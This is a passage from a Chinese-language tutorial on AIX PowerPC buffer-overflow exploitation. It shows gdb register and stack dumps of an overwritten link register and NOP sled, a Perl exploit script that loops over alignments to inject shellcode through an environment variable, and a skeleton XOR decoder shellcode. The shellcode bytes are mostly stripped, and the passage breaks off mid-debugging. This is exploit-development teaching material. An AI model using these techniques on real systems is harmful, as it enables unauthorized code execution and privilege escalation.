0x1000055c
0x10000570
0x10000578
0x10000580
0x100005a0
0x100005a8
0x100005b0
0x100005d8
---Type
(gdb) c Continuing.
在执行exploit.pl的窗口随便敲个键,gdb调试窗口就可以继续了:
Breakpoint 1, 0x100005dc in main () (gdb) i reg
r0 0x100001cc 268435916 r1 0x2ff22210 804397584 r2 0x20000ee8 536874728 r3 0xf00890f1 -267874063 r4 0xf00890f0 -267874064 r5 0x0 0 r6 0xd032 53298 r7 0x0 0
r8 0x60000000 1610612736 r9 0x60002449 1610622025 r10 0x0 0
r11 0x600026c8 1610622664 r12 0x100005ac 268436908 r13 0xdeadbeef -559038737 r14 0x2 2
r15 0x2ff22264 804397668 r16 0x2ff22270 804397680 r17 0x0 0
r18 0xdeadbeef -559038737 r19 0xdeadbeef -559038737 r20 0xdeadbeef -559038737 r21 0xdeadbeef -559038737 r22 0xdeadbeef -559038737 r23 0xdeadbeef -559038737 r24 0xdeadbeef -559038737 r25 0xdeadbeef -559038737 r26 0xdeadbeef -559038737 r27 0xdeadbeef -559038737 r28 0x20000520 536872224 r29 0x10000000 268435456 r30 0x3 3
r31 0x2ff22b40 804399936 pc 0x100005dc 268436956 ps 0x2d032 184370
cnd 0x24222422 606217250 lr 0x100001cc 268435916 cnt 0x0 0
xer 0x0 0 mq 0x0 0 fpscr 0x0 0 (gdb) x/20x $r1 (gdb) x/20x $r1
0x2ff22210: 0x2ff22b40 0x2ff22b40 0x2ff22b40 0x00000000 0x2ff22220: 0x00000000 0x20000ee8 0x00000002 0x2ff2225c 0x2ff22230: 0x00000000 0x00000000 0x00000000 0x00000000 0x2ff22240: 0x00000000 0x00000000 0x00000000 0x00000000 0x2ff22250: 0x00000000 0x00000000 0x00000000 0x2ff22270 (gdb) x/20x 0x2ff22b40
0x2ff22b40: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22b50: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22b60: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22b70: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22b80: 0x60606060 0x60606060 0x60606060 0x60606060 ... ... ... (gdb)
0x2ff22f00: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22f10: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22f20: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22f30: 0x60606060 0x60607ca5 0x2a794082 0xfffd7fe8 0x2ff22f40: 0x02a63bff 0x0120387f 0xff08389f 0xff10907f
我们看到lr寄存器正好被覆盖为0x2ff22b40,这就说明程序的流程能达到0x2ff22b40,这个地址也都是填充的nop指令,由于AIX PowerPC是4字节的等长指令,注意到0x2ff22f34这个地址错了两个字节,这肯定导致shellcode无法正常执行。watercloud有一个很好的方法解决这个指令字节对齐的问题,用嵌套循环遍历保证字节对齐:
#!/usr/bin/perl #
# exploit1.pl
# exploit program vulnerable
$CMD=\
$SHELLCODE=
\ \ \ \ \
\ \ \ \ \ \ \ \ \
$NOP=\%ENV=();
$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,\
for($i=0;$i<4 && $ret;$i++){ for($j=0;$j<4 && $ret;$j++) {
$ENV{CCC}=\
$ret = system $CMD ,\ } }
-bash-2.05b$ ./exploit1.pl
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@ $
六、遭遇I-cache
为了适应各种复杂应用shellcode的编写,有一个解码shellcode就会变得相对容易。对ia32来说,这非常简单,PowerPC指令是不能直接操作内存的,参考ia32的decoder,写出下面的解码shellcode:
char shellcode[] =
// decoder
\\\
\
\\
\\\
\\
\
// real shellcode
\\\\\
\\
\\;
int main() {
int jump[2]={(int)shellcode,0}; ((*(void (*)())jump)()); }
前半部分是解码,r3指向真实shellcode前一个字节的地址,r9是计数器,是shellcode大小+1。这样从真实shellcode的最后一个字符开始做异或处理。
有一个很奇怪的问题,直接用gdb运行这个程序: (gdb) r
Starting program: /home/san/test
Program received signal SIGSEGV, Segmentation fault. 0x20000418 in shellcode () (gdb) x/8i $pc
0x20000418